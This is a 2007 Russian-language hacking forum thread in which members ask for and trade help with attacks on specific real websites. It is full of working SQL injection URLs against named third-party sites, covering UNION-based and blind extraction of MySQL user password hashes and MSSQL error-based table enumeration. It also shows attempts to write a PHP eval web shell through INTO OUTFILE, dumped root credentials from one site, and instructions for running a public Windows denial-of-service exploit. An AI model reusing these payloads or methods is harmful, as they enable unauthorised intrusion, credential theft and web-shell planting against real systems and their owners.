Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Ваши вопросы по уязвимостям. (https://forum.antichat.xyz/showthread.php?t=46016)

blackybr 04.08.2007 09:55

Ваши вопросы по уязвимостям.
 
В этой и только в этой теме вы можете задать вопрос про способ заливки шелла, детальные разборки xss и sql на конкретных сайтах, не построенных на паблик движках (для остального есть поиск по форуму).

Все остальные вновь созданные темы по данным вопросам будут удаляться. Создавайте темы если вы хотите поделиться уязвимостью или нашли что-то новое интересное в публичном двиге и хотите чтобы вам помогли это разобрать.

Задавать вопросы ответы на которые с легкостью можно найти в многочисленных мануалах и статьях крайне не рекомендуется

Red_Red1 05.08.2007 02:34

Расскажите про вот такую штуку.
http://webapps.jhu.edu/needs/detail.cfm?id=1805'+or+1=(SELECT+TOP+1+TABLE_NAME+ FROM+INFORMATION_SCHEMA.TABLES)
Я вначале подумал что это MSSQL (потому и писал в запросе INFORMATION_SCHEMA.TABLES), а потом посмотрел вроде и не мс, а макромедиа. Короче не понятно мне. Плюс к тому странный выдает ответ - не найду такого-то файла, отсюда вывод что можно грузить файлы баз данных если знаешь имя файла. Но там дописывается расширение автоматом, в связи с этим пробовал %00 - не получилось. Вообщем не все мне ясно с этой базой. Может кто видел такое - поделитесь.

blackybr 05.08.2007 10:00

Это ColdFusion
права у твоей небольшие - нет прав на системные таблицы. это видим из
http://webapps.jhu.edu/needs/detail.cfm?id=1805+union+select+1,2,3,4,5,6,name,8 ,9,10,11,12,13+from+MSysObjects

подбирай кол-во столбцов
http://webapps.jhu.edu/needs/detail.cfm?id=1805+and+1=0+union+select+1,2 ...
Загвоздка в том что запрос не выполнится пока одновременно не будет подобрано точное кол-во + подставлено в одно из полей правильное название одного из столцов (иначе база считает запрос пустым)
либо же при наличие прав у юзера (а они часто оставляются по дефолту) выполнять любые запросы в кф базе
http://webapps.jhu.edu/needs/detail.cfm?id=1805;запрос

s1mplec0de 05.08.2007 15:20

brute/shell
 
приветствую!

столкнулся с такой проблемой (

http://server.com/index.php?id=1 or 1=if(ascii(substring((select%20password%20from%20m ysql.user%20where%20user=char(114,111,111,116)),1, 1))>=100,1,0)/*

Error Number: 1242
Error Message: Subquery returns more than 1 row

а в случае

1=if(ascii(substring((select user()),1,1))>=100,1,0)

все работает нормально, возвращается ответ либо 1 либо 0..... то есть можно перебрать )

права есть! пасс выглядит так.... 3553f4a3048036eb я просто не в курю почему перебирать не дает...
------------------------------------------------------------------
и вторая проблема..... не могу залить шелл, хотя файл привелегии есть..... лоад_файл работает.....

http://server.com/index.php?id=1 union select 1,<?php eval($_GET[http://server.com/cmd.php]) ?>,3,4,5,6,7,8 into outfile 1.txt/*


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ',3,4,5,6,7,8 into outfile 1.txt/*' at line 2

если <?php eval($_GET[http://server.com/cmd.php]) ?> расписать все через char то начинает ругаться на 1.txt....

Error Number: 1064
Error Message: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1.txt/* AND n.status != 'Disabled' ORDER BY date DESC ' at line 2

уже и так писал и сяк, не получается с этим серваком (((


версия 5.0.22

с уважением,

n1†R0x 05.08.2007 16:01

Цитата:

Error Number: 1242
Error Message: Subquery returns more than 1 row
переведи
юзай лимит
хотя странно, почему при where выдается не одна строка... попробуй тупо лимит 0,1 , как правило, рут - первый юзер.

по поводу второго:

<?php eval($_GET[http://server.com/cmd.php]) ?>

это должно быть в кавычках

sharoff 05.08.2007 21:13

Цитата:

Сообщение от s1mplec0de
http://server.com/index.php?id=1 union select 1,<?php eval($_GET[http://server.com/cmd.php]) ?>,3,4,5,6,7,8 into outfile 1.txt/*

Если я не ошибаюсь, то загрузка файла через sql происходит путем ... union+select+1,2,3,что будем загружать,5,6..+from+существующ ая таблица+into+outfile+'/полный/путь/до/директории/для/записи/123.php'/*

Т.е. вы посто забыли поставить кавычки за прописать полный путь.

s1mplec0de 06.08.2007 02:18

спасибо за советы,

1. не смог проверить сервак в дауне 8*(**** я понял в чем суть ошибки, просто меня самого смутило что возвращается какой то не однозначный ответ и не 1 и не 0 - поэтому и спрашиваю что за муть....

2. кавычки фильтруются жестко, по формату знаю.... писал через чар, но не выходит.... ругается ошибкой 1062 кажется..... писал что синтаксическая ' без пути - без ничего.....

www.server.com/index.php?id=1 union select 1,char(),3,4,5,6,7,8 into outfile или же from table into outfile полный путь или же просто для теста тупо 1.txt/*

пробовал по всякому, может реально не судьба) поэтому и оставался вариант брута, хз подскажите как правильно запрос написать с лимитом.... where user= ?

благодарю....

sharoff 06.08.2007 12:33

Цитата:

Сообщение от s1mplec0de
кавычки фильтруются жестко

При записи +from+table+into+outfile+'/путь/к/папке/для/записи/123.php'/* нужны реальные кавычки, char() здесь не поможет, при фильтрации кавычек эта схема невозможна.

Dr.Z3r0 06.08.2007 12:43

Цитата:

подскажите как правильно запрос написать с лимитом....
select password from mysql.user where user=char(114,111,111,116) limit 0,1
Вот это ты имел ввиду?

Цитата:

http://server.com/index.php?id=1 or 1=if(ascii(substring((select%20password%20from%20m ysql.user%20where%20user=char(114,111,111,116)),1, 1))>=100,1,0)/*

Error Number: 1242
Error Message: Subquery returns more than 1 row
Конечно может я не прав но первая мысль у меня возникла что в этой таблице два юзера "root"... Интересно это возможно или нет...

s1mplec0de 07.08.2007 13:43

там как не странно но два пользователя с 2-мя одинаковыми пассами....

limit помог, пасс соответственно как я и писал выше....

root:3553f4a3048036eb
touchandgo:3553f4a3048036eb

http://www.touchandgorecords.com/bands/band.php?id=70%20union%20select%201,concat(USER(), char(58),VERSION(),char(58),DATABASE()),3,4,5,6,7, 8/--

------

именно ' там фильтруются, у меня не получилось шелл залить(

благодарю за помощь, отдельное спасибо I-I()/Ib - за статью..... )

Red_Red1 08.08.2007 00:32

Работа с MySQL версии 5.0.27.
Делаю такой запрос
Цитата:

-4+union+select+1111,TABLE_NAME,3333,4444,5555,6666 ,7777,8888+from+information_schema.tables+limit+5, 1/*.html
Все работает. Как я понимаю выводит название одной из таблиц которые есть в базе.
Нахожу нужную таблицу через лимит.
Составляю запрос
Цитата:

-4+union+select+1111,COLUMN_NAME,3333,4444,5555,666 6,7777,8888+from+information_schema.COLUMNS+WHERE+ TABLE_NAME='wifi_points'/*.html
Где 'wifi_points'имя таблицы полученое из предидущего запроса.
Выводиться имя столбика - "id"
Дальше пытаюсь вытянуть данные таким запросом
Цитата:

-4+union+select+1111,id,3333,4444,5555,6666,7777,88 88+from+wifi_points/*.html
выдает пустоту так как будто запрос неверный. Пробовал подставлять лимит 1,1 и 0,1 нифига.
Пробую
Цитата:

-4+union+select+1111,2222,3333,4444,5555,6666,7777, 8888+from+wifi_points/*.html
Т.е. проверяю есть ли такая таблица - тоже пусто.
В итоге могу узнать полностью структуру базы но данные не могу вывести.
Что не так? Может есть хитрости при работе с MySQL версии 5.0.27.
Как правильно строить запрос ведь скуль есть, а результата нет?

Termin@L 08.08.2007 01:29

Значит твоему пользователю закрыт доступ, такое тногда бывает, через системные таблицы видишь, а вывести не можешь((((

sharoff 08.08.2007 12:24

Возможно эта таблица находится в другой базе, можно посмотреть запросом
Цитата:

1,2,schema_name,4+from+infotmation_schema.schemata/*
Выведет все существующие базы

и если не ошибаюсь можно выдернуть интересную связку

Цитата:

schema_name,table_name,column_name+from+informatio n_schema.columns/*
Я уверен что в таблице columns есть column_name и table_name, но насчет schema_name не уверен, но по-моему она там была.

Joker-jar 08.08.2007 12:30

Попробуй
Код:

-4+union+select+1111,table _schema,3333,4444,5555,6666 ,7777,8888+from+information_schema.tables+where+table_name='wifi_points'/*.html

ANT 08.08.2007 20:11

Здравствуйте, мне нужна ваша помощь.
На уязвимой странице происходит передача параметра без фильтрации, он есть особенность- значения полей не выводятся на странице, а на основе данных рисуется карта (это не важно, т.к в базе нет паролей). Я пытаюсь сделать вывод в файл с помощью INTO OUTFILE , но получаю ошибку.
Я отправляю
?id=1122+UNION+SELECT+1,2+FROM+locations+INTO+OUTF ILE+'name'
(OUTFILE я пишу одним словом, без пробела Ж)
Выдает такое
Код:

Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near the keyword 'INTO'. (severity 15) in E:\XAMPPLITE\htdocs\info\pages\map.php on line 7

Warning: mssql_query() [function.mssql-query]: Query failed in E:\XAMPPLITE\htdocs\info\pages\map.php on line 7

Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource in E:\XAMPPLITE\htdocs\info\pages\map.php on line 8

А если запрос такой
?id=1122+UNION+SELECT+1,2+FROM+locations
всё нормально, без ошибок

PHP скрипт там такой
PHP код:

$result mssql_query("SELECT * 
                       FROM locations
                       WHERE id = 
$id;"); 

Со скриптом возможна неточность (врядли), тк на сервере стоит немного другая версия.

Всё вроде бы очень просто, но я не пойму что это за неправильный синтаксис возле INTO... Помогите разобраться

sharoff 09.08.2007 08:15

ээм, а может быть в MSSQL немнога другие запросы поэтому и в into возникает неправильный синтаксис... Все же я не уверен, это всего лишь предположение, за неправильность не бить =)

Joker-jar 10.08.2007 10:59

http://e-catalog.rusbiz.ru/1'+and+'1'='1.html

В чем косяк? Запрос вроде правильный, но не проходит. Подозреваю, глюк с плюсами... пробовал /**/, не канает :)

infium 10.08.2007 11:49

Не знаю правильно ли я выбрал раздел.
Народ вот есть эксплоит
MS Windows Explorer.exe Gif Image Denial of Service Exploit
http://www.milw0rm.com/exploits/4215
Его вроде компилировать на перле. Но не понел как его использовать. Помоги как его использовать.

Taylorith 10.08.2007 12:09

вот попробовал вбить такое http://www.olympic.org/uk/news/olympic_news/full_story_uk.asp?id=2272' и выдает как видно ошибку ....
Microsoft VBScript runtime error '800a000d'

Type mismatch: 'cint'

/common/asp/inc_news.asp, line 634

хотя сами могли увидеть.... так вот... что мона сделать дальше?? )) или еще конкретней как заюзать все это... что применить?? ) заранее благодарю... )

n1†R0x 10.08.2007 12:50

Цитата:

Сообщение от infium
Не знаю правильно ли я выбрал раздел.
Народ вот есть эксплоит
MS Windows Explorer.exe Gif Image Denial of Service Exploit
http://www.milw0rm.com/exploits/4215
Его вроде компилировать на перле. Но не понел как его использовать. Помоги как его использовать.

Перл-сплоиты не компилируются, а интерпретируются (выполняются)
Установи Active Perl (use g00gle 4 searching)
Далее...
1. если сплоит с ГУИ (с графич. интерфейс), просто кликни по нему пару раз
2. если сплоит консольный, запускаешь cmd.exe, переходишь в каталог со сплоитом и запускаешь его, предварительно прочитав в хелпе, за что какой аргумент отвечает.

пс: данная тема не раз обсуждалась, если все еще непонятно - юзай поиск.

Scipio 10.08.2007 13:09

Вобще этот сплоит создает картинку Art.gif которая при ее загрузке вызывает DOS но этот сплоит немного исправить надо (под винду)

а в целом действуй так, как посоветовал n1†R0x, только вот по идее когда ты сам картинку будешь смотреть у тебя винда уйдет в аут...

вопрос: зачем он тебе нужен? :)

x.Elf 10.08.2007 15:34

нашел количество полей - пытаюсь вывести бд ругается.......
http://www.suvd.ru/news.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/*

blackybr 10.08.2007 15:38

x.Elf делай через подзапросы

Scipio 10.08.2007 15:56

там 3 версия мускула, а внем union select не работает...

Код:

http://www.suvd.ru/news.php?id=4825%20and%20ascii(lower(substring(Version(),1,1)))=51/*
ascii("3")=51

Taylorith 10.08.2007 17:39

тут сайтец с скуль уязвимостью...

http://www.mediacomp.ru/?action=sub_kat&top_kat=-1,union+select+1/*

самое ссмешное то что я подобрал до 72 и нифига ничего не вылезло.... что предложите сделать ....?

Y.Dmitriy 10.08.2007 17:44

Цитата:

http://www.mediacomp.ru/?action=sub_kat&top_kat=-1+union+select+1,2,3/*
юзай "-1+ORDER+BY+.../*" помогает...

Taylorith 10.08.2007 17:47

то есть ты хочешь сказать что истина полюбе есть, тока находится далеко и мою работу облегчит данная фича?? или как??

x.Elf 10.08.2007 17:50

Цитата:

Сообщение от Taylorith
тут сайтец с скуль уязвимостью...

http://www.mediacomp.ru/?action=sub_kat&top_kat=-1,union+select+1/*

самое ссмешное то что я подобрал до 72 и нифига ничего не вылезло.... что предложите сделать ....?

http://www.mediacomp.ru/?action=sub_kat&top_kat=-1+union+select+1,2,3/*
http://www.mediacomp.ru/?action=sub_kat&top_kat=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(version (),0x71),0x71)/*

x.Elf 10.08.2007 17:56

Цитата:

Сообщение от Taylorith
то есть ты хочешь сказать что истина полюбе есть, тока находится далеко и мою работу облегчит данная фича?? или как??

http://forum.antichat.ru/thread19605-mysql+inj.html

сначало прочти, а потом и вопросы...
не тупи...

Alexsize 10.08.2007 17:57

заюзай AND

Taylorith 10.08.2007 17:59

вторая ссылка не пашет , до первой странно, почему я ее пропустил ппц. я даже удивился ))) но повторюсь вторая ссылка полюбе версию не показывает...

x.Elf 10.08.2007 17:59

Цитата:

Сообщение от Alexsize
заюзай AND

Он вобще что такое mysql inj не хорошо понимает...

Taylorith 10.08.2007 18:01

Цитата:

Сообщение от x.Elf
http://forum.antichat.ru/thread19605-mysql+inj.html

сначало прочти, а потом и вопросы...
не тупи...

сор))

x.Elf 10.08.2007 18:01

Цитата:

Сообщение от Taylorith
вторая ссылка не пашет , до первой странно, почему я ее пропустил ппц. я даже удивился ))) но повторюсь вторая ссылка полюбе версию не показывает...

Балбес - вторая пашет просто там пробел между скобками и version (в переносах возникают пробелы при посте)

Taylorith 10.08.2007 18:03

понятно ,
P.s. тока не груби

x.Elf 10.08.2007 18:05

Цитата:

Сообщение от Taylorith
понятно ,
P.s. тока не груби

Ты просто минимум не понимаешь ... даже такие мелочи
как было сказано выше - это просто уже выносит на грубость...

Taylorith 10.08.2007 18:05

ясно что предложишь??

x.Elf 10.08.2007 18:10

http://www.usgs.gov/newsroom/article.asp?ID=1'
Помогите провести инъект на сайте.
У меня с MSSQL пока туговато...

http://ts.edu.ru/schools/region/4/?town=%C4'
и здесь...

uralsmart.ru
Опять таки mssql.
Я вижу что скл ругается ......еще вижу строки логин пасс и ввожу запрос типа:
' or 'a'='a
" or 1=1--
or 1=1--
а тока ругается -ХЕЛП

Scipio 10.08.2007 18:21

Код:

http://ts.edu.ru/schools/region/4/?town=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
а вобще читай здесь http://forum.antichat.ru/thread30501.html отлично написано

x.Elf 10.08.2007 18:36

Цитата:

Сообщение от Scipio
Код:

http://ts.edu.ru/schools/region/4/?town=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
а вобще читай здесь http://forum.antichat.ru/thread30501.html отлично написано

спс :) я просто редко с мсскл сталкивась :)


Время: 04:20